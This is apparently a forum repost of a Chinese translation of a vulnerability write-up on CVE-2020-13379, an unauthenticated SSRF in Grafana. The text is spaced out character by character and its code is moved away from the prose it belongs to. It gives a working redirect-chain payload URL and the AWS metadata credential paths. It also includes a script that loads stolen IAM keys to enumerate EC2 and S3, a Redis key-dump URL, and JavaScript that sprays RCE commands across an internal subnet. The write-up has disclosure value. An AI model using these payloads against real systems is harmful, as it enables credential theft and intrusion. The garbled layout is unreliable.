搜索

[2241] 2021-01-05_CVE-2020-13379Grafana中未经身份验证的SSRF

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-16
2021-01-05_CVE-2020-13379Grafana中未经身份验证的SSRF C V E - 2 0 2 0 - 1 3 3 7 9 G r a f a n a 中 未 经 身 份 验 证 的 S S R F 原 创   R h y n o r a t e r   E D I 安 全   2 0 2 1 - 0 1 - 0 5 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 0 1 0 1 背 景 在 针 对 G r a f a n a 进 行 赏 金 漏 洞 的 安 全 性 研 究 时 ， 我 发 现 通 过 将 一 些 重 定 向 和 U R L 参 数 注 入 B u g 链 接 在 一 起 ， 可 以 在 版 本 3 . 0 . 1 以 上 的 任 何 G r a f a n a 实 例 上 实 现 完 全 读 取 ， 未 经 身 份 验 证 的 S S R F - 7 . 0 . 1 。 可 以 在 这 里 找 到 有 关 该 错 误 的 G r a f a n a 咨 询 。 在 这 篇 博 客 中 ， 我 将 引 导 读 者 了 解 C V E - 2 0 2 0 - 1 3 3 7 9 的 发 现 和 利 用 。 0 2 0 2 正 文 正 文 在 G r a f a n a   a p i . g o 文 件 的 第 4 2 3 行 定 义 了 以 下 路 由 ： 此 路 由 从 下 方 获 取 哈 希 / a v a t a r / : h a s h 并 将 其 路 由 到 s e c u r e . g r a f a n a . c o m ， 以 访 问 用 户 的 图 像 。 执 行 此 操 作 的 代 码 如 下 所 示 ： 在 t h i s . h a s h 这 个 代 码 中 引 用 是 通 过 传 递 的 哈 希 / a v a t a r / : h a s h   U R L 解 码 。 这 : h a s h 是 经 过 U R L 解 码 的 事 实 ， 这 使 我 们 可 以 将 自 己 的 参 数 走 私 到 该 请 求 中 ， 从 而 导 致 U R L 参 数 注 入 。 在 上 s e c u r e . g r a v a t a r . c o m ， 如 果 提 供 d 参 数 ， 则 允 许 重 定 向 到 i 0 . w p . c o m 托 管 某 些 图 像 的 位 置 。 这 是 重 定 向 链 中 的 第 一 个 重 定 向 。 为 了 到 达 i 0 . w p . c o m 任 意 主 机 ， 必 须 对 该 域 进 行 大 量 研 究 。 最 后 ， 由 于 重 定 向 主 机 验 证 中 使 用 的 正 则 表 达 式 不 正 确 ， 因 此 实 现 了 开 放 重 定 向 。 网 址 的 格 式 i 0 . w p . c o m 如 下 i 0 . w p . c o m / { d o m a i n O f I m a g e } / { p a t h O f I m a g e } 。 似 乎 i 0 . w p . c o m 希 望 尽 可 能 将 其 某 些 图 像 托 管 卸 载 到 . b p . b l o g s p o t . c o m ， 因 此 对 于 域 为 的 任 何 主 机 * . b p . b l o g s p o t . c o m ， i 0 . w p . c o m 都 将 重 定 向 到 该 主 机 以 避 免 提 供 图 像 。 但 是 ， 经 过 大 量 长 时 间 的 调 查 ， 发 现 可 以 使 用 以 下 格 式 将 其 转 换 为 开 放 重 定 向 ： 通 过 使 用 此 技 巧 ， 可 以 创 建 如 下 所 示 的 后 端 重 定 向 链 ： G r a f a n a 将 字 符 串 使 用 d 参 数 ， 将 重 定 向 到 i 0 . w p . c o m 。 较 弱 的 r e g e x i 0 . w p . c o m 会 导 致 指 向 一 个 开 放 重 定 向 g o o g l e . c o m 然 后 ， 以 下 代 码 添 加 C o n t e n t - T y p e :   i m a g e / j p e g 标 头 并 返 回 响 应 ： 最 后 ， 结 合 使 用 所 有 这 些 ， 可 以 使 用 以 下 p a y l o a d 执 行 S S R F ： 此 错 误 不 仅 影 响 G r a f a n a 实 例 ， 还 影 响 G i t l a b 实 例 （ 在 / - / g r a f a n a 路 径 下 ） 和 S o u r c e T r e e 实 例 （ 在 / - / d e b u g / g r a f a n a / 路 径 下 ） 。 r . G e t ( " / a v a t a r / : h a s h " ,   a v a t a r C a c h e S e r v e r . H a n d l e r ) c o n s t   (     g r a v a t a r S o u r c e   =   " h t t p s : / / s e c u r e . g r a v a t a r . c o m / a v a t a r / " ) . . . c a s e   e r r   =   < - t h u n d e r . G o F e t c h ( g r a v a t a r S o u r c e + t h i s . h a s h + " ? " + t h i s . r e q P a r a m s ,   t h i s ) : h t t p : / / i 0 . w p . c o m / g o o g l e . c o m % 3 f % 3 b / 1 . b p . b l o g s p o t . c o m / h t t p s : / / g r a f a n a H o s t / a v a t a r / t e s t % 3 f d % 3 d g o o g l e . c o m % 2 5 2 5 3 f % 2 5 3 b % 2 5 2 f b p . b l o g s p o t . c o m t e s t % 3 f d % 3 d g o o g l e . c o m % 2 5 2 5 3 f % 2 5 3 b % 2 5 2 f b p . b l o g s p o t . c o m 作 为 : h a s h h t t p s : / / s e c u r e . g r a v a t a r . c o m / a v a t a r / a n y t h i n g ? d = g o o g l e . c o m % 2 5 3 f % 3 b / 1 . b p . b l o g s p o t . c o m / h t t p : / / i 0 . w p . c o m / g o o g l e . c o m % 3 f % ; / 1 . b p . b l o g s p o t . c o m / h t t p s : / / g o o g l e . c o m ? ; / 1 . b p . b l o g s p o t . c o m . . . i f   a v a t a r . E x p i r e d ( )   {     / /   T h e   c a c h e   i t e m   i s   e i t h e r   e x p i r e d   o r   n e w l y   c r e a t e d ,   u p d a t e   i t   f r o m   t h e   s e r v e r     i f   e r r   : =   a v a t a r . U p d a t e ( ) ;   e r r   ! =   n i l   {         l o g . T r a c e ( " a v a t a r   u p d a t e   e r r o r :   % v " ,   e r r )         a v a t a r   =   t h i s . n o t F o u n d     } } i f   a v a t a r . n o t F o u n d   {     a v a t a r   =   t h i s . n o t F o u n d }   e l s e   i f   ! e x i s t s   {     i f   e r r   : =   t h i s . c a c h e . A d d ( h a s h ,   a v a t a r ,   g o c a c h e . D e f a u l t E x p i r a t i o n ) ;   e r r   ! =   n i l   {         l o g . T r a c e ( " E r r o r   a d d i n g   a v a t a r   t o   c a c h e :   % s " ,   e r r )     } } c t x . R e s p . H e a d e r ( ) . A d d ( " C o n t e n t - T y p e " ,   " i m a g e / j p e g " ) i f   ! s e t t i n g . E n a b l e G z i p   {     c t x . R e s p . H e a d e r ( ) . A d d ( " C o n t e n t - L e n g t h " ,   s t r c o n v . I t o a ( l e n ( a v a t a r . d a t a . B y t e s ( ) ) ) ) } c t x . R e s p . H e a d e r ( ) . A d d ( " C a c h e - C o n t r o l " ,   " p r i v a t e ,   m a x - a g e = 3 6 0 0 " ) i f   e r r   : =   a v a t a r . E n c o d e ( c t x . R e s p ) ;   e r r   ! =   n i l   {     l o g . W a r n ( " a v a t a r   e n c o d e   e r r o r :   % v " ,   e r r )     c t x . W r i t e H e a d e r ( 5 0 0 ) } h t t p s : / / g r a f a n a H o s t / a v a t a r / t e s t % 3 f d % 3 d r e d i r e c t . r h y n o r a t e r . c o m % 2 5 2 5 3 f % 2 5 3 b % 2 5 2 f b p . b l o g s p o t . c o m % 2 5 2 f Y O U R H O S T H E R E
0 3 0 3 影 响 影 响 A W S   /   C l o u d 元 数 据 元 数 据 A P I 在 云 托 管 软 件 中 发 现 的 现 代 S S R F 漏 洞 的 最 佳 目 标 之 一 是 C l o u d   M e t a d a t a   A P I 。 这 些 A P I 中 最 强 大 的 是 A W S   M e t a d a t a   A P I 。 该 A P I 允 许 攻 击 者 检 索 附 加 到 易 受 攻 击 的 E C 2 实 例 的 I A M 凭 据 ， 并 进 入 组 织 的 内 部 网 络 。 这 是 一 项 众 所 周 知 的 技 术 ， 过 去 甚 至 已 用 于 大 规 模 违 规 。 作 为 攻 击 者 ， 您 将 要 关 注 的 如 下 ： 该 端 点 将 允 许 您 从 A W S   M e t a d a t a   A P I 提 取 I A M 凭 证 。 凭 据 如 下 所 示 ： 通 过 S T D I N 将 类 似 上 述 的 J S O N   B l o b 放 入 以 下 脚 本 中 ， 可 以 加 载 凭 据 ， 验 证 其 功 能 并 提 取 I A M 凭 据 可 以 访 问 的 E C 2 实 例 和 S 3 存 储 桶 。 如 果 这 不 足 以 证 明 影 响 ， 则 应 进 一 步 验 证 凭 据 。 我 建 议 使 用 N C C G r o u p 的 S c o u t 2 ， 但 是 绝 对 要 先 从 目 标 程 序 获 得 许 可 ， 因 为 这 可 能 会 非 常 嘈 杂 ， 并 导 致 事 件 响 应 和 / 或 很 多 键 旋 转 。 该 端 点 通 常 会 收 回 许 多 有 用 的 信 息 。 尽 管 A W S 文 档 特 别 警 告 不 要 在 此 位 置 存 储 机 密 ， 但 过 去 在 该 位 置 我 发 现 了 K 8 S 机 密 ， I A M 凭 证 ， S S L 证 书 ， G i t H u b 凭 证 等 。 可 以 在 以 下 A W S 文 档 中 找 到 有 关 此 终 结 点 的 更 多 信 息 ： 图 像 渲 染 图 像 渲 染 - 盲 盲 S S R F 通 过 使 用 G r a f a n a 实 例 中 经 常 出 现 的 内 部 图 像 渲 染 ， 攻 击 者 有 可 能 将 任 意 提 供 的 H T M L 页 面 加 载 到 具 有 任 意 超 时 值 的 内 部 无 头 G o o g l e   C h r o m e 实 例 中 。 这 使 攻 击 者 可 以 非 常 有 效 地 将 一 次 性 R C E 喷 射 到 内 部 网 络 中 。 使 用 从 C V E - 2 0 2 0 - 1 3 3 7 9 获 得 的 内 部 S S R F ， 可 以 继 续 进 行 本 地 主 机 的 端 口 扫 描 。 在 某 个 任 意 内 部 端 口 （ 通 常 为 3 0 0 1 ） 上 ， 可 能 存 在 一 项 服 务 ， 该 服 务 将 以 下 字 符 串 从 请 求 返 回 到 ： 如 果 是 这 种 情 况 ， 则 可 以 使 用 终 结 点 通 过 此 服 务 呈 现 任 意 H T M L 页 面 通 过 创 建 如 下 所 示 的 H T M L 文 件 ， 可 以 在 内 部 高 效 地 利 用 漏 洞 利 用 并 尝 试 升 级 为 R C E ， 从 而 快 速 有 效 ： h t t p : / / 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4 / l a t e s t / m e t a - d a t a / i a m / s e c u r i t y - c r e d e n t i a l s / R O L E {     " C o d e "   :   " S u c c e s s " ,     " L a s t U p d a t e d "   :   " 2 0 1 9 - 0 8 - 1 5 T 1 8 : 1 3 : 4 4 Z " ,     " T y p e "   :   " A W S - H M A C " ,     " A c c e s s K e y I d "   :   " A S I A N 0 P 3 n 0 W 4 y 1 n v 4 L 1 d " ,     " S e c r e t A c c e s s K e y "   :   " A 5 t G u w 2 Q X j m q u 8 c T E u 1 z s 0 D w 8 y t 9 0 5 H D C z r F 0 A d E " ,     " T o k e n "   :   " A g o J b 3 J p Z 2 l u X 2 V j E J v / / / / / / / / / / w E a C X V z L W V h c 3 Q t M S J H M E U C I E X 4 6 o h 4 k z 6 A t B i T f v o H G q f V u H J I 2 9 r y A Z y / w X y R 5 1 S A i E A 0 4 P y w 9 H S w S I R N x 6 v m Y p q m 7 s D + D k L Q i F z a j u w I 2 a L E p 4 q 8 g M I M x A B G g w z N j Y 4 O T Y 1 N T U 5 N D k i D O B E J D d U K x K U k g k h G y r P A 7 u 8 o S d s 5 h c I M 0 E e o H v g x v C X / C h i D s u C E F O 1 c t M p O g a Q u u n s v K L z u a T p / 8 6 V 9 6 i Z z u o P L n p H H s m I U T r C c w w G q F z y a q v J p s F W d v 8 9 Y I h A R A M l c Q 1 C c 9 C s 4 p T B S Y c / B v b E F b 1 z 0 x W q P l B N V K L M z m 2 K 5 4 0 9 f / K C K / e J s x p 5 3 0 Z t 7 a 1 M E B p / r v c e y i A 5 g g + 6 h O u 6 5 U m + 4 B N T + C j l E k 3 g w L 6 J U U W r 9 a 2 L K Y x m y R 4 f c 7 X t L D 2 z B 0 j w d n G + E P v 7 a D P j 7 E o W M U o R / d O Q a v / o S H i 7 b l 6 + k T + k o K z w h U / Q 2 8 6 q s k 0 k X M f G / U 9 5 T d U r 7 0 I 3 b / L / d h y a u d p L E N S U 7 u v P F i 8 q G V G p n C u Z C v G L 2 J V S n z f 8 3 2 7 j y u i T F 7 G v X l v U T h 8 b j x n Z 8 p A h q y y u x E W 1 t o s L 2 N u q R H m l C C f n E 3 w L X J 0 y B U r 7 u x M H T f L 1 g u e E W g h y m I G h A x i Y I K A 9 P P i H C D r n 4 g l 5 A G m L y z q x e n Z g c N n u w M j e T n h Q 0 m V f 7 L 8 P R 4 Z W R o 9 h 3 C 1 w M b Y n Y N i 5 r d f Q c B y M I N / X o R 2 J 7 4 s B P o r / a O b M M H V n m p N j b t R g K h 0 V p i 4 8 V g X h X f u C A H k a 3 r b Y e O B Y C 8 z 8 n U W Y J K u x v 3 N j 0 c Q x X D n Y T 6 L P P X m t H g Z a B S U w x M H W 6 g U 6 t A H i 8 O E j s k L Z G 8 1 w L q 1 D i L b d P J i l N r v 5 R P n 3 b B F + Q k k B + U R A Q 8 N B Z A / z 8 m N n D f v E S S 4 4 f M G F s f T I v I d A N c i h Z Q L o 6 V Y v E C V 8 V w / Q a L P / G b l j K P w z t R C 5 H S P e 6 W r C 0 6 L Z S 9 y e T p V G Z 6 j F I n 1 O / 0 1 h J O g E w s K 7 + D D w c X t E 5 q t O y n m O J i Y / i U j c z 7 9 L W h 1 8 4 M y 5 8 u e C N x J u z I M 9 T b n 0 s H 3 l 1 e B x E C T i h D N b L 1 3 v 5 g + 8 E N a i h + f 3 r N U = "     " E x p i r a t i o n "   :   " 2 0 1 9 - 0 8 - 1 6 T 0 0 : 3 3 : 3 1 Z " } # ! / b i n / b a s h o u t = $ ( c a t   - ) e x p o r t   A W S _ A C C E S S _ K E Y _ I D = $ ( e c h o   $ o u t   |   j q   . A c c e s s K e y I d   |   s e d   ' s / " / / g '   ) e x p o r t   A W S _ S E C R E T _ A C C E S S _ K E Y = $ ( e c h o   $ o u t   |   j q   . S e c r e t A c c e s s K e y   |   s e d   ' s / " / / g ' ) e x p o r t   A W S _ D E F A U L T _ R E G I O N = u s - e a s t - 1 e x p o r t   A W S _ S E S S I O N _ T O K E N = $ ( e c h o   $ o u t   |   j q   . T o k e n   |   s e d   ' s / " / / g ' ) e c h o   " P r o f i l e   l o a d e d ! " a w s   s t s   g e t - c a l l e r - i d e n t i t y a w s   e c 2   d e s c r i b e - i n s t a n c e s   >   e c 2 I n s t a n c e s . t x t e c h o   " E C 2   I n s t a n c e s   o u t p u t t e d   t o   " e c 2 I n s t a n c e s . t x t " ! " a w s   s 3 a p i   l i s t - b u c k e t s   >   s 3 B u c k e t s . t x t e c h o   " S 3   B u c k e t s   o u t p u t t e d   t o   " s 3 B u c k e t s . t x t " ! " h t t p : / / 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4 / l a t e s t / u s e r - d a t a h t t p s :   / / d o c s . a w s . a m a z o n . c o m / A W S E C 2 / l a t e s t / U s e r G u i d e / i n s t a n c e d a t a - a d d - u s e r - d a t a . h t m l H T T P / 1 . 1   2 0 0   O K X - P o w e r e d - B y :   E x p r e s s C o n t e n t - T y p e :   t e x t / h t m l ;   c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   2 2 E T a g :   W / " 1 6 - N i p K 4 B u d 1 b h s o z q K d m j 9 b W n w G T g " D a t e :   W e d ,   2 9   J u l   2 0 2 0   1 1 : 2 1 : 3 1   G M T C o n n e c t i o n :   k e e p - a l i v e G r a f a n a   I m a g e   R e n d e r e r l o c a l h o s t : 3 0 0 1 / r e n d e r ? u r l = h t t p : / / y o u r h o s t & d o m a i n = a & r e n d e r K e y = a & t i m e o u t = 3 0 。 < s c r i p t > a s y n c   f u n c t i o n   p o s t D a t a ( u r l   =   ' ' ,   d a t a   =   { } )   {     c o n s t   r e s p o n s e   =   a w a i t   f e t c h ( u r l ,   {         m e t h o d :   ' P O S T ' ,         m o d e :   ' n o - c o r s ' ,         h e a d e r s :   {             ' C o n t e n t - T y p e ' :   ' a p p l i c a t i o n / j s o n '         } ,         b o d y :   J S O N . s t r i n g i f y ( d a t a )     } ) ;     r e t u r n   r e s p o n s e . j s o n ( ) ; } f o r   ( v a r   i   =   0 ;   i   <   2 5 5 ;   i + + ) {         p o s t D a t a ( ' h t t p : / / 1 0 . 0 . 0 . ' + i + ' / o n e s h o t r c e ' ,   {   c m d :   ' d i g   d n s c a l l b a c k . c o m '   } ) }                               < / s c r i p t >
G i t l a b   P r o m e t h e u s   R e d i s 出 口 商 出 口 商 如 前 所 述 ， 此 漏 洞 还 会 影 响 版 本 1 3 . 1 . 1 之 前 的 G i t l a b 实 例 。 根 据 G i t l a b 文 档   P r o m e t h e u s   a n d   i t s   e x p o r t e r s   a r e   o n   b y   d e f a u l t ,   s t a r t i n g   w i t h   G i t L a b   9 . 0 。 这 些 出 口 商 提 供 了 一 种 极 好 的 方 法 ， 使 攻 击 者 可 以 使 用 C V E - 2 0 2 0 - 1 3 3 7 9 进 行 数 据 透 视 和 攻 击 其 他 服 务 。 R e d i s 出 口 商 是 易 于 利 用 的 出 口 商 之 一 。 将 允 许 攻 击 者 将 通 过 t a r g e t 参 数 提 供 的 r e d i s 服 务 器 中 的 所 有 密 钥 转 储 。 内 部 枢 轴 ： 仅 图 像 内 部 枢 轴 ： 仅 图 像 S S R F - > 全 读 全 读 S S R F 链 链 正 如 我 们 在 a v a t a r . g o 文 件 的 第 1 0 4 行 看 到 的 那 样 ， 此 S S R F 的 响 应 内 容 类 型 为 i m a g e / j p e g 。 这 为 我 们 提 供 了 一 个 独 特 的 机 会 ， 可 以 将 此 漏 洞 与 其 他 漏 洞 一 起 用 于 漏 洞 利 用 链 。 请 考 虑 以 下 情 形 ： 中 的 代 码 f e t c h I m a g e . p h p 将 H T T P 请 求 发 送 到 目 标 位 置 ， 检 查 内 容 类 型 是 否 为 i m a g e / j p e g ， 如 果 是 ， 则 返 回 内 容 。 如 果 攻 击 者 随 后 可 以 识 别 出 容 易 受 到 C V E - 2 0 2 0 - 1 3 3 7 9 攻 击 的 内 部 G r a f a n a 实 例 ， 则 攻 击 者 将 能 够 编 写 出 完 整 的 S S R F ， 如 下 所 示 ： 由 于 返 回 的 内 容 将 是 i m a g e / j p e g ， 它 将 通 过 内 容 类 型 检 查 。 这 导 致 仅 图 像 的 S S R F 被 转 换 为 完 全 读 取 的 S S R F 。 由 于 在 G r a f a n a 攻 击 中 发 生 了 由 攻 击 者 控 制 的 重 定 向 ， 因 此 也 有 可 能 欺 骗 文 件 扩 展 名 检 查 。 0 4 0 4 结 论 结 论 总 之 ， 此 漏 洞 并 不 是 非 常 复 杂 ， 其 最 有 趣 的 功 能 是 U R L 参 数 走 私 漏 洞 ， 该 漏 洞 发 生 在 : h a s h 将 A P I 路 由 中 的 U R L 与 内 部 H T T P 请 求 串 联 在 一 起 时 。 无 论 如 何 ， 该 错 误 的 影 响 很 大 ， 并 且 是 一 个 非 常 可 靠 的 漏 洞 。 E D I 安 全 安 全 一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 h t t p : / / l o c a l h o s t : 9 1 2 1 / s c r a p e ? t a r g e t = r e d i s : / / 1 2 7 . 0 . 0 . 1 : 7 0 0 1 & c h e c k - k e y s = * e x a m p l e . c o m / f e t c h I m a g e . p h p ? i m a g e = h t t p : / / l o c a l h o s t / i m a g e . p n g e x a m p l e . c o m / f e t c h I m a g e . p h p ? i m a g e = h t t p : / / i n t e r n a l g r a f a n a / a v a t a r / . . . / 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理